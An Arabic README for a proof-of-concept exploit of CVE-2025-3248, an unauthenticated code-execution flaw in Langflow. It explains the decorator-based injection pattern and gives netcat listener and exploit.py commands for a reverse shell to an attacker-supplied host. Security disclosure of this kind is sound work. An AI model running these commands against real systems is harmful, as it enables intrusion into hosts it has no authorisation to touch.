
إثبات مفهوم لاستغلال CVE-2025-3248، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في Langflow، توضح حقن التعليمات البرمجية عبر نقطة النهاية /api/v1/validate/code.
إثبات مفهوم لاستغلال CVE-2025-3248، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في Langflow، وهي منصة لبناء سير عمل الذكاء الاصطناعي ونماذج اللغات الكبيرة.
يكشف Langflow عن نقطة نهاية، POST /api/v1/validate/code، مصممة "للتحقق" من مقتطف كود Python المُرسل من الواجهة (مثل كود المكونات المخصصة). داخليًا، يقوم بتحليل الكود وتجميعه باستخدام ast.parse() / compile() ويُبلغ عما إذا كان صالحًا — دون الحاجة إلى أي مصادقة.
الخلل: يقوم Python بتقييم تعبيرات الديكورات في وقت التحليل/التجميع، قبل استدعاء الدالة المزخرفة على الإطلاق. إذا كان "الكود المراد التحقق منه" المُرسل يحتوي على ديكور مثل:
@exec("...كود خبيث...")
def test():
pass
فإن استدعاء exec(...) يتم تنفيذه في اللحظة التي يُحلل فيها الكود — ولا يحتاج التحقق أبدًا إلى استدعاء test() فعليًا. وبالاقتران مع غياب المصادقة وغياب العزل، يكفي طلب HTTP واحد غير مصادق عليه لتنفيذ أوامر عشوائية على المضيف الذي يشغّل Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
يُقدَّم هذا الكود لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط (المختبرات، مسابقات CTF، والاختبارات بإذن كتابي صريح). لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.